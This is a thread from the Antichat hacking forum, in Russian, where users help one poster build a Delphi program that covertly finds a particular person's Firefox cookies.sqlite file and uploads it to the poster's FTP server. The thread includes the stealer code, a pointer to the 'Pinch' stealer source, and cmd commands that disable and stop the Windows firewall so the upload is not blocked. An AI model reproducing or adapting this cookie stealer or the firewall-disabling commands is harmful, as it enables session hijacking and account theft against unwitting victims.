Форум АНТИЧАТ - Делфи и куки

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Делфи и куки (https://forum.antichat.xyz/showthread.php?t=126415)

Делфи и куки

Собственоо вопрос заключается в поиске куков на компьютере пользователя, и последующая отсылка мне на почту (или ftp сервер), но проблемам с поиском, можете помочь?

Бери исходники первого пинча и смотри как он это делает.
Но всё равно для каждого браузера свои методы

можно ссылку ?
это нужно делать скрытно...
и я думаю что у пользователя (мне именно его нужно) мазила

slesh я расчитывал сделать поиск по всему диску с файла cookies.sqlite
но не могу сделать по всему диску с и последующую его отправку на почту or FTP

http://forum.antichat.ru/threadnav122292-1-10.html

wolmer скажи,
if pos('vkontakte',searchrec.name)<>0 then
ищется позиция в куке?

Цитата:

Сообщение от KREGI

wolmer скажи,
if pos('vkontakte',searchrec.name)<>0 then
ищется позиция в куке?

Ищется есть ли куки контакта
То есть если значение pos() не равно нулю то значит куки есть (в нашем случае)

но мне желательно весь файл кукес, так как я помню куки в мозиле в одном файле.

Цитата:

Сообщение от KREGI

но мне желательно весь файл кукес, так как я помню куки в мозиле в одном файле.

Изучай FTP компонент (инди)
Он легкий в изучении, заливка идет через put() если я не ошибаюсь

(гугл в помощь по изучению)

Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
Строчка верно написана?

Цитата:

Сообщение от KREGI

Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
Строчка верно написана?

Да

procedure TForm1.FormCreate(Sender: TObject);
var
User,Disc,startdir, TMP_FILE:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Firefox,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Firefox:= Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
if FileExists(Firefox) then
begin
AssignFile(f,Firefox);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
end;
startdir:=Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
// отправка на сервер
with IdFTP1 do try
IdFTP1.Username:='Login';
IdFTP1.Password:='pass';
IdFTP1.Host:='ftp';
Connect;

finally
if IdFTP1.Connected
then
try
IdFTP1.Put(Disc+':\Documents and Settings\'+User+'\Application Data\Mozilla\Firefox\Profiles\'+User+'.default\coo kies.sqlite','',false);
finally
if IdFTP1.Connected then
IdFTP1.Disconnect;
end;
end;
end;
end;

end.

Вот код, по идеи должны отправляться куки с компьюттера на фтп, но увы, в чем ошибка(а она есть :) )

Понимаешь программирование такая штука что тут надо варить своей головой и смыслить что ты пишешь

Код:

procedure TForm1.FormCreate(Sender: TObject);

var

 fireuser:string;

 find:integer;

 sf:TSearchRec;

begin

 find:=FindFirst('D:\Documents and Settings\my\Application Data\Mozilla\Firefox\Profiles\*',faDirectory,sf);

 if find=0 then

  begin

   if ((Sf.Attr and faDirectory) = faDirectory) and

    ((Sf.Name = '.') or (Sf.Name = '..')) then

    begin

      Find:=FindNext(Sf);

    end;

   find:=FindNext(sf);

   edit1.text:=sf.name;

  end;

end;

Это пример кода с одним юзером...
Мы тут узнаем самого юзера фаерфокса
Вообщем пробуй! Если что не выйдет - подскажу

wolmer понимаешь ээто должно происходить скрытно, сижу мучаюсь уже с утра, и не отправляет он куки, хотя другие файлы(если укажу путь) отправляет

Твоя задача обойти Windows Firewall и другие?

Fliplab найти и отправить куки удалось, но палят отправку (и блокируют) фаерволы, не знаешь как это обойти?

страннно, но я это всё выкладывал(но раз лень искать)

Код:

  winexec(PChar('cmd.exe /c  sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер

  winexec(PChar('cmd.exe /c  sc stop SharedAccess '),sw_normal);

Спасибо за помощь, искал не нашел(плохо искал значит)